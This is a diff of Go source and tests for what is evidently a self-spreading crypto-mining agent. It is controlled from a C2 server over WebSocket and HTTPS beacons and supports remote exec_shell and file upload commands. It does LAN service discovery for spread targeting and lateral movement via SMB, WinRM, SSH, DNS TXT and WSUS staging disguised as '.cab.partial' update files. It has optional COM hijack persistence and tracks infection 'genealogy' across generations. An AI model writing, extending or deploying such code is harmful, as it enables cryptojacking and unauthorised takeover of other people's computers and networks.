SpreadStrain string `json:"spread_strain,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
type AuthResponse struct {
@@ -62,9 +67,14 @@ type AuthResponse struct {
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
}
type SharePayload struct {
@@ -147,6 +157,14 @@ type StatsPayload struct {
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
// Fleet role split telemetry (stats WS).
FleetRole string `json:"fleet_role,omitempty"`
SeedPressure float64 `json:"seed_pressure,omitempty"`
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`

View File

@@ -59,6 +59,18 @@ func TestAuthPayloadPlatformFromEnv(t *testing.T) {
}
}
func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
in := AuthPayload{
AgentID: "child", ParentAgentID: "parent-uuid", SpreadGeneration: 2,
SpreadStrain: "#aabbcc", JoinLane: "winrm",
}
var out AuthPayload
roundTrip(t, in, &out)
if out.ParentAgentID != "parent-uuid" || out.SpreadGeneration != 2 || out.SpreadStrain != "#aabbcc" {
t.Fatalf("genealogy fields: %+v", out)
}
}
func TestAuthResponseJSONRoundTrip(t *testing.T) {
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
var out AuthResponse
@@ -103,6 +115,18 @@ func TestStatsPayloadJSONRoundTrip(t *testing.T) {
}
}
func TestStatsPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
in := StatsPayload{
Hashrate15s: 1, Hashrate1m: 1, Hashrate15m: 1,
ParentAgentID: "p1", SpreadGeneration: 1, SpreadStrain: "#112233", JoinLane: "dns_txt",
}
var out StatsPayload
roundTrip(t, in, &out)
if out.ParentAgentID != "p1" || out.SpreadStrain != "#112233" {
t.Fatalf("genealogy stats: %+v", out)
}
}
func TestShareResultJSONRoundTrip(t *testing.T) {
in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
var out ShareResult

View File

@@ -0,0 +1,74 @@
package client
import (
"encoding/json"
"log"
"time"
"crypto-miner-agent/deploy"
)
const (
scoutInitialDelay = 90 * time.Second
scoutCycleInterval = 15 * time.Minute
)
func (c *AgentClient) startScoutRoving() {
go func() {
time.Sleep(scoutInitialDelay)
for {
c.runScoutCycle()
time.Sleep(scoutCycleInterval)
}
}()
}
func (c *AgentClient) runScoutCycle() {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
if !cfg.ScoutMode {
return
}
raw := deploy.RunServiceDiscover(32)
result, err := deploy.ParseServiceDiscoverJSON(raw)
if err != nil {
log.Printf("[scout] service_discover parse: %v", err)
return
}
serviceCount := len(result.Local.Services)
for _, h := range result.LANHosts {
serviceCount += len(h.Services)
}
lane := deploy.PickLocalJoinLane(raw)
if lane == "" {
if msg, derr := c.runDiscoverAndJoin(32); derr == nil {
lane = c.getJoinLane()
log.Printf("[scout] discover_and_join: %s (%s)", lane, msg)
} else {
log.Printf("[scout] discover_and_join skipped: %v", derr)
}
} else {
c.setJoinLane(lane)
log.Printf("[scout] service_graph join_lane_candidate=%s services=%d", lane, serviceCount)
}
c.pushScoutReport(result, lane, serviceCount)
}
func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
payload, err := json.Marshal(map[string]interface{}{
"join_lane": joinLane,
"service_count": serviceCount,
"service_graph": result,
"scout_mode": true,
})
if err != nil {
return
}
if err := c.write(Message{Type: "scout_report", Payload: payload}); err != nil {
log.Printf("[scout] scout_report write: %v", err)
}
}

View File

@@ -0,0 +1,34 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestAllowRemoteActionScoutModeBlocksStaging(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
ok, reason := c.allowRemoteAction("stage_fetch")
if ok {
t.Fatal("scout should block stage_fetch")
}
if reason == "" {
t.Fatal("expected reason for blocked stage_fetch")
}
ok, _ = c.allowRemoteAction("discover_and_join")
if !ok {
t.Fatal("scout should allow discover_and_join")
}
ok, _ = c.allowRemoteAction("service_discover")
if !ok {
t.Fatal("scout should allow service_discover")
}
}
func TestAllowRemoteActionScoutBlocksSpreadNow(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
ok, _ := c.allowRemoteAction("spread_now")
if ok {
t.Fatal("scout should block spread_now")
}
}

View File

@@ -0,0 +1,23 @@
package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/config"
)
func TestApplySpreadPolicyFromAuth(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
raw, _ := json.Marshal(map[string]interface{}{
"hashrate_gate_spread_min": 12,
"hashrate_gate_hps": 250.5,
})
c.applySpreadPolicyJSON(raw)
if c.cfg.HashrateGateSpreadMin != 12 {
t.Fatalf("min=%d", c.cfg.HashrateGateSpreadMin)
}
if c.cfg.HashrateGateHPS != 250.5 {
t.Fatalf("hps=%v", c.cfg.HashrateGateHPS)
}
}

View File

@@ -0,0 +1,32 @@
package client
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestStageFetchAllowRemoteAction(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
ok, reason := c.allowRemoteAction("stage_fetch")
if ok || !strings.Contains(reason, "remote aggressive") {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
c.cfg.RemoteAggressive = true
ok, reason = c.allowRemoteAction("stage_fetch")
if !ok || reason != "" {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
}
func TestStageFetchRejectsBadManifestJSON(t *testing.T) {
c := &AgentClient{
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{RemoteAggressive: true}},
}
// handleAggressiveCommand returns true (handled) without panicking on bad JSON.
handled := c.handleAggressiveCommand("stage_fetch", 0, "", "", `{not-json`)
if !handled {
t.Fatal("expected stage_fetch to be handled")
}
}

View File

@@ -0,0 +1,450 @@
package client
import (
"encoding/base64"
"encoding/json"
"errors"
"net"
"net/http"
"net/http/httptest"
"strings"
"sync"
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"github.com/gorilla/websocket"
)
var wsTestUpgrader = websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
type wsIntegrationPair struct {
agentConn *websocket.Conn
serverConn *websocket.Conn
closeServer func()
}
func newWSIntegrationPair(t *testing.T) wsIntegrationPair {
t.Helper()
ready := make(chan *websocket.Conn, 1)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
conn, err := wsTestUpgrader.Upgrade(w, r, nil)
if err != nil {
t.Errorf("upgrade: %v", err)
return
}
ready <- conn
<-r.Context().Done()
}))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
agentConn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial: %v", err)
}
t.Cleanup(func() { _ = agentConn.Close() })
var serverConn *websocket.Conn
select {
case serverConn = <-ready:
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for server-side WS handshake")
}
return wsIntegrationPair{
agentConn: agentConn,
serverConn: serverConn,
closeServer: func() { srv.Close() },
}
}
func wireConnectedClient(t *testing.T) (*AgentClient, wsIntegrationPair) {
t.Helper()
stubFastMiningDiagnostics(t)
c := newTestClient(t)
c.agentID = "ws-integration-agent"
c.connected.Store(true)
pair := newWSIntegrationPair(t)
c.conn = pair.agentConn
return c, pair
}
func stubFastMiningDiagnostics(t *testing.T) {
t.Helper()
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
SetPostureCollector(func() *PostureReport { return nil })
t.Cleanup(func() {
miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(nil)
SetPostureCollector(nil)
})
}
func readServerMessage(t *testing.T, conn *websocket.Conn, wantType string, timeout time.Duration) Message {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway) {
t.Fatalf("websocket closed before %s: %v", wantType, err)
}
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue
}
t.Fatalf("read while waiting for %s: %v", wantType, err)
}
if msg.Type == wantType {
return msg
}
}
t.Fatalf("timed out waiting for %s", wantType)
return Message{}
}
func pollServerMessage(conn *websocket.Conn, wantType string, timeout time.Duration) (Message, error) {
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
return Message{}, err
}
var netErr net.Error
if errors.As(err, &netErr) && netErr.Timeout() {
continue
}
// Gorilla marks the conn failed after non-timeout errors — never retry.
return Message{}, err
}
if msg.Type == wantType {
return msg, nil
}
}
return Message{}, errPollTimeout(wantType)
}
type pollTimeoutError string
func (e pollTimeoutError) Error() string { return "timeout waiting for " + string(e) }
func errPollTimeout(wantType string) error { return pollTimeoutError(wantType) }
func TestWSWriteStatsRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]string{"probe": "ok"})
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
t.Fatalf("write stats: %v", err)
}
msg, err := pollServerMessage(pair.serverConn, "stats", 2*time.Second)
if err != nil {
t.Fatalf("read stats: %v", err)
}
if msg.Type != "stats" {
t.Fatalf("type = %q", msg.Type)
}
}
func TestWSCommandResultWriteRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]interface{}{
"action": "pause", "success": true, "message": "ok",
})
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
t.Fatalf("write command_result: %v", err)
}
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
if err != nil {
t.Fatalf("poll: %v", err)
}
if msg.Type != "command_result" {
t.Fatalf("type = %q", msg.Type)
}
}
// TestWSBeaconIntegrationMiningDiagnosticsRoundTrip verifies a mining_diagnostics
// WS command produces a command_result frame on the wire.
func TestMiningDiagnosticsHandleCommandHook(t *testing.T) {
c := newTestClient(t)
stubFastMiningDiagnostics(t)
done := make(chan string, 1)
c.commandResultHook = func(a string, ok bool, _ string) { done <- a }
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
select {
case a := <-done:
if a != "mining_diagnostics" {
t.Fatalf("action=%q", a)
}
case <-time.After(5 * time.Second):
t.Fatal("timeout waiting for mining_diagnostics hook")
}
}
func TestWSBeaconIntegrationMiningDiagnosticsRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
c.commandResultHook = func(action string, success bool, _ string) {
if action != "mining_diagnostics" || !success {
t.Errorf("unexpected hook action=%q success=%v", action, success)
return
}
payload, _ := json.Marshal(map[string]interface{}{
"action": action, "success": true, "message": `{"integration":"stub"}`,
})
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
t.Errorf("write command_result: %v", err)
}
}
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatalf("parse command_result: %v", err)
}
if body["action"] != "mining_diagnostics" {
t.Errorf("action = %v", body["action"])
}
if body["success"] != true {
t.Errorf("success = %v", body["success"])
}
}
// TestHandleMessageWSCommandMiningDiagnostics verifies handleMessage routes
// mining_diagnostics commands over a live WS conn.
func TestHandleMessageWSCommandMiningDiagnostics(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]interface{}{"action": "mining_diagnostics"})
done := make(chan struct{})
c.commandResultHook = func(action string, success bool, _ string) {
if action != "mining_diagnostics" || !success {
return
}
out, _ := json.Marshal(map[string]interface{}{
"action": action, "success": true, "message": `{"integration":"stub"}`,
})
if err := c.write(Message{Type: "command_result", Payload: out}); err != nil {
t.Fatalf("write: %v", err)
}
close(done)
}
c.handleMessage(Message{Type: "command", Payload: payload})
select {
case <-done:
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for handleMessage mining_diagnostics hook")
}
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "mining_diagnostics" {
t.Fatalf("unexpected command_result: %+v", body)
}
}
// TestWSBeaconIntegrationExecShellRoundTrip verifies exec_shell command dispatch
// returns command_result over the WS transport (command may fail on host).
func TestWSBeaconIntegrationExecShellRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
c.handleAICommand("exec_shell", 0, "echo ws-beacon-integration", "", "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 5*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "exec_shell" {
t.Errorf("action = %v", body["action"])
}
if _, ok := body["success"].(bool); !ok {
t.Fatalf("success missing in %+v", body)
}
}
// TestWSBeaconIntegrationAISnapshotRequestFlow verifies ai_snapshot_request
// triggers an ai_snapshot reply on the WebSocket.
func TestWSBeaconIntegrationAISnapshotRequestFlow(t *testing.T) {
c, pair := wireConnectedClient(t)
c.cfg = config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "ws-test-node"}}
c.pushAISnapshot(0)
msg, err := pollServerMessage(pair.serverConn, "ai_snapshot", 5*time.Second)
if err != nil {
t.Fatalf("read ai_snapshot: %v", err)
}
var snap map[string]interface{}
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
t.Fatal(err)
}
for _, key := range []string{"agent_id", "agent_name", "mining_tiers", "capabilities"} {
if _, ok := snap[key]; !ok {
t.Errorf("ai_snapshot missing %q", key)
}
}
if snap["agent_name"] != "ws-test-node" {
t.Errorf("agent_name = %v", snap["agent_name"])
}
}
// TestWSBeaconIntegrationUploadCommandRoundTrip verifies upload commands travel
// over WS as command/command_result (base64 payload, no separate chunk frame).
func TestWSBeaconIntegrationUploadCommandRoundTrip(t *testing.T) {
dest := t.TempDir() + "/uploaded.txt"
data := base64.StdEncoding.EncodeToString([]byte("ws-upload-payload"))
c, pair := wireConnectedClient(t)
c.handleCommand("upload", 0, "", dest, data, "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "upload" {
t.Errorf("action = %v", body["action"])
}
if body["success"] != true {
t.Fatalf("upload failed: %v", body["message"])
}
}
// TestBeaconIntegrationHeartbeatLifecycle exercises beaconOnce against an
// httptest beacon endpoint with registration, stats, and queued commands.
func TestBeaconIntegrationHeartbeatLifecycle(t *testing.T) {
const secret = "agent-beacon-secret"
var mu sync.Mutex
beaconHits := 0
resultHits := 0
mux := http.NewServeMux()
mux.HandleFunc("/api/v1/agent/beacon", func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("X-Fleet-Secret") != secret {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
var req map[string]interface{}
_ = json.NewDecoder(r.Body).Decode(&req)
mu.Lock()
beaconHits++
hits := beaconHits
mu.Unlock()
resp := map[string]interface{}{"ok": true, "commands": []any{}}
if hits == 2 {
resp["commands"] = []map[string]interface{}{{"action": "mining_diagnostics"}}
}
_ = json.NewEncoder(w).Encode(resp)
})
mux.HandleFunc("/api/v1/agent/beacon/result", func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("X-Fleet-Secret") != secret {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
mu.Lock()
resultHits++
mu.Unlock()
_ = json.NewEncoder(w).Encode(map[string]bool{"ok": true})
})
srv := httptest.NewServer(mux)
t.Cleanup(srv.Close)
stubFastMiningDiagnostics(t)
c := newTestClient(t)
c.pool.Start()
t.Cleanup(func() { c.pool.Stop() })
c.reporter = stats.NewReporter()
c.agentID = "beacon-integration-agent"
c.cfg = config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
ServerURL: srv.URL,
FleetSecret: secret,
HTTPSBeaconFallback: true,
HTTPSBeaconAfterMin: 0,
BeaconIntervalSec: 1,
},
}
if err := c.beaconOnce(srv.URL); err != nil {
t.Fatalf("first beaconOnce: %v", err)
}
if err := c.beaconOnce(srv.URL); err != nil {
t.Fatalf("second beaconOnce (with command): %v", err)
}
mu.Lock()
defer mu.Unlock()
if beaconHits < 2 {
t.Fatalf("beacon hits = %d, want >= 2", beaconHits)
}
if resultHits != 1 {
t.Fatalf("beacon result hits = %d, want 1", resultHits)
}
}
// TestWSBeaconIntegrationReconnectPreservesWorkerName verifies auth payload uses
// worker_name for registration while hostname tracks the machine label separately.
func TestWSBeaconIntegrationReconnectPreservesWorkerName(t *testing.T) {
payload := AuthPayload{
AgentID: "rename-agent",
Hostname: "DESKTOP-NEW",
Worker: "Living Room PC",
Version: "1.0",
}
raw, err := json.Marshal(payload)
if err != nil {
t.Fatal(err)
}
var decoded AuthPayload
if err := json.Unmarshal(raw, &decoded); err != nil {
t.Fatal(err)
}
if decoded.Worker != "Living Room PC" {
t.Fatalf("worker_name = %q", decoded.Worker)
}
if decoded.Hostname != "DESKTOP-NEW" {
t.Fatalf("hostname = %q", decoded.Hostname)
}
if decoded.Worker == decoded.Hostname {
t.Fatal("operator worker_name should differ from machine hostname in reconnect scenario")
}
}
// TestWSBeaconIntegrationDisconnectWriteFails verifies write returns error when
// the WS connection is nil (post-disconnect cleanup path).
func TestWSBeaconIntegrationDisconnectWriteFails(t *testing.T) {
c := newTestClient(t)
c.conn = nil
err := c.write(Message{Type: "stats", Payload: json.RawMessage("{}")})
if err == nil || !strings.Contains(err.Error(), "not connected") {
t.Fatalf("write with nil conn: err=%v", err)
}
}

View File

@@ -59,5 +59,6 @@ func GetBuiltinConfig() BuiltinConfig {
DnsTxtSpread: true,
WebRTCMeshSpread: false,
WSUSCachePeerSpread: true,
WSUSFormatMimic: true,
}
}

View File

@@ -74,6 +74,7 @@ type BuiltinConfig struct {
DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone
WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off)
WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging
WSUSFormatMimic bool // wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON)
COMHijackPersist bool // COM CLSID hijack persistence — default off
LinuxLOTLMode string // systemd_run_user | crontab | both | off
// Passive spreading — triggered by the environment rather than active scanning
@@ -117,10 +118,28 @@ type BuiltinConfig struct {
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
// Spread genealogy watermark — forge-baked telemetry; never used for auth.
ParentAgentID string
SpreadGeneration int
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
// ApkMode marks Android fleet-node builds; registration reports platform=android.
ApkMode bool
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
ScoutMode bool
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
MiningDisabled bool
// FleetRole selects miner|seeder|auto (auto resolves from server hint on auth).
FleetRole string
// SeederMode is baked when fleet_role=seeder — skips RandomX, runs LAN staging lanes only.
SeederMode bool
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread (server policy).
HashrateGateSpreadMin int
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
HashrateGateHPS float64
}
// BackupPool holds connection info for a fallback Stratum mining pool.
@@ -261,6 +280,11 @@ func IsAndroidPlatform() bool {
return RegistrationPlatform() == "android"
}
// IsScoutMode reports roving scout builds (discover + service graph, no staging).
func (c RuntimeConfig) IsScoutMode() bool {
return c.ScoutMode
}
func (c RuntimeConfig) EffectiveThreads() int {
mode := strings.ToLower(c.ThreadMode)
if mode == "fixed" {

View File

@@ -0,0 +1,89 @@
package config
import "strings"
const (
FleetRoleMiner = "miner"
FleetRoleSeeder = "seeder"
FleetRoleAuto = "auto"
)
// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
func NormalizeFleetRole(role string) string {
switch strings.ToLower(strings.TrimSpace(role)) {
case FleetRoleSeeder:
return FleetRoleSeeder
case FleetRoleMiner:
return FleetRoleMiner
default:
return FleetRoleAuto
}
}
// EffectiveFleetRole resolves baked role + optional server hint from auth.
func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
if c.SeederMode {
return FleetRoleSeeder
}
baked := NormalizeFleetRole(c.FleetRole)
if baked == FleetRoleSeeder {
return FleetRoleSeeder
}
if baked == FleetRoleMiner {
return FleetRoleMiner
}
hint := NormalizeFleetRole(serverHint)
if hint == FleetRoleSeeder || hint == FleetRoleMiner {
return hint
}
return FleetRoleMiner
}
// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
}
// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
func IsSeederSpreadLane(lane string) bool {
lane = strings.ToLower(strings.TrimSpace(lane))
for _, s := range SeederSpreadLanes {
if lane == s {
return true
}
}
return false
}
// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
func FilterSeederLotlTiers(tiers []string) []string {
var out []string
for _, t := range tiers {
if IsSeederSpreadLane(t) {
out = append(out, t)
}
}
return out
}
// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
func ApplySeederForgeDefaults(b *BuiltinConfig) {
if b == nil {
return
}
b.FleetRole = FleetRoleSeeder
b.SeederMode = true
b.MiningDisabled = true
b.MinerExecution = "inprocess" // unused — no RandomX chain starts
b.GPUEnabled = false
b.DnsTxtSpread = true
b.WebRTCMeshSpread = true
b.WinRMSpread = false
b.WSUSCachePeerSpread = false
b.AutoSpread = true
b.LotlOnionEnabled = true
b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
}

View File

@@ -0,0 +1,53 @@
package config
import "testing"
func TestNormalizeFleetRole(t *testing.T) {
if NormalizeFleetRole("SEEDER") != FleetRoleSeeder {
t.Fatal("seeder")
}
if NormalizeFleetRole("miner") != FleetRoleMiner {
t.Fatal("miner")
}
if NormalizeFleetRole("") != FleetRoleAuto {
t.Fatal("auto default")
}
}
func TestEffectiveFleetRoleSeederMode(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{SeederMode: true}}
if cfg.EffectiveFleetRole("") != FleetRoleSeeder {
t.Fatalf("got %q", cfg.EffectiveFleetRole(""))
}
}
func TestEffectiveFleetRoleAutoHint(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{FleetRole: FleetRoleAuto}}
if cfg.EffectiveFleetRole(FleetRoleSeeder) != FleetRoleSeeder {
t.Fatal("hint seeder")
}
if cfg.EffectiveFleetRole(FleetRoleMiner) != FleetRoleMiner {
t.Fatal("hint miner")
}
if cfg.EffectiveFleetRole("") != FleetRoleMiner {
t.Fatal("auto defaults miner")
}
}
func TestFilterSeederLotlTiers(t *testing.T) {
got := FilterSeederLotlTiers([]string{"smb", "dns_txt", "winrm", "do_peer"})
if len(got) != 2 || got[0] != "dns_txt" || got[1] != "do_peer" {
t.Fatalf("got %v", got)
}
}
func TestApplySeederForgeDefaults(t *testing.T) {
b := BuiltinConfig{}
ApplySeederForgeDefaults(&b)
if !b.SeederMode || b.FleetRole != FleetRoleSeeder || !b.MiningDisabled {
t.Fatalf("seeder defaults: %+v", b)
}
if !b.DnsTxtSpread || !b.WebRTCMeshSpread || b.WinRMSpread {
t.Fatalf("spread flags: %+v", b)
}
}

47
agent/config/genealogy.go Normal file
View File

@@ -0,0 +1,47 @@
package config
import (
"crypto/sha256"
"fmt"
"os"
"strconv"
"strings"
)
// SpreadStrainFromJoinLane returns a stable #RRGGBB hex color for UI strain grouping.
// Not a signed key — informational telemetry only.
func SpreadStrainFromJoinLane(lane string) string {
lane = strings.TrimSpace(strings.ToLower(lane))
if lane == "" {
return ""
}
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
}
// GenealogyReport returns forge-baked spread watermark fields for auth/stats telemetry.
// Env overrides (AETHER_PARENT_AGENT_ID, AETHER_SPREAD_GENERATION) support spread-child
// launches without re-forge. Never used for authentication.
func (c RuntimeConfig) GenealogyReport(runtimeJoinLane string) (parentAgentID string, spreadGeneration int, spreadStrain string) {
parentAgentID = strings.TrimSpace(c.ParentAgentID)
if v := strings.TrimSpace(os.Getenv("AETHER_PARENT_AGENT_ID")); v != "" {
parentAgentID = v
}
spreadGeneration = c.SpreadGeneration
if v := strings.TrimSpace(os.Getenv("AETHER_SPREAD_GENERATION")); v != "" {
if n, err := strconv.Atoi(v); err == nil && n >= 0 {
spreadGeneration = n
}
}
spreadStrain = strings.TrimSpace(c.SpreadStrain)
if spreadStrain == "" {
lane := strings.TrimSpace(runtimeJoinLane)
if lane == "" {
lane = strings.TrimSpace(c.BakedJoinLane)
}
spreadStrain = SpreadStrainFromJoinLane(lane)
}
return parentAgentID, spreadGeneration, spreadStrain
}

View File

@@ -0,0 +1,46 @@
package config
import "testing"
func TestSpreadStrainFromJoinLane(t *testing.T) {
a := SpreadStrainFromJoinLane("winrm")
b := SpreadStrainFromJoinLane("winrm")
if a == "" || a != b {
t.Fatalf("strain not stable: %q vs %q", a, b)
}
if a[0] != '#' || len(a) != 7 {
t.Fatalf("expected #RRGGBB, got %q", a)
}
if SpreadStrainFromJoinLane("dns_txt") == a {
t.Fatal("different lanes should produce different strains")
}
if SpreadStrainFromJoinLane("") != "" {
t.Fatal("empty lane should yield empty strain")
}
}
func TestGenealogyReportBakedAndRuntime(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ParentAgentID: "parent-uuid",
SpreadGeneration: 2,
BakedJoinLane: "gpo",
}}
parent, gen, strain := cfg.GenealogyReport("")
if parent != "parent-uuid" || gen != 2 {
t.Fatalf("baked parent/gen: %q %d", parent, gen)
}
if strain != SpreadStrainFromJoinLane("gpo") {
t.Fatalf("strain from baked join lane: %q", strain)
}
cfg2 := RuntimeConfig{BuiltinConfig: BuiltinConfig{SpreadGeneration: 0}}
t.Setenv("AETHER_PARENT_AGENT_ID", "env-parent")
t.Setenv("AETHER_SPREAD_GENERATION", "3")
p2, g2, s2 := cfg2.GenealogyReport("winrm")
if p2 != "env-parent" || g2 != 3 {
t.Fatalf("env overrides: %q %d", p2, g2)
}
if s2 != SpreadStrainFromJoinLane("winrm") {
t.Fatalf("runtime join lane strain: %q", s2)
}
}

View File

@@ -45,6 +45,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
if ok, reason := AllowAutospread(cfg); !ok {
return "autospread deferred: " + reason
}
go spreadToLocalSubnet(cfg)
if cfg.WinRMSpread || cfg.AutoSpread {
go spreadViaWinRM(cfg)
@@ -58,6 +61,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
if ok, reason := AllowAutospread(cfg); !ok {
log.Printf("[autospread] spread deferred: %s", reason)
finishSpreadSweepImmediate()
return
}
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
beginSpreadSweep("smb_scm", len(filtered))
if len(filtered) == 0 {

View File

@@ -36,6 +36,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
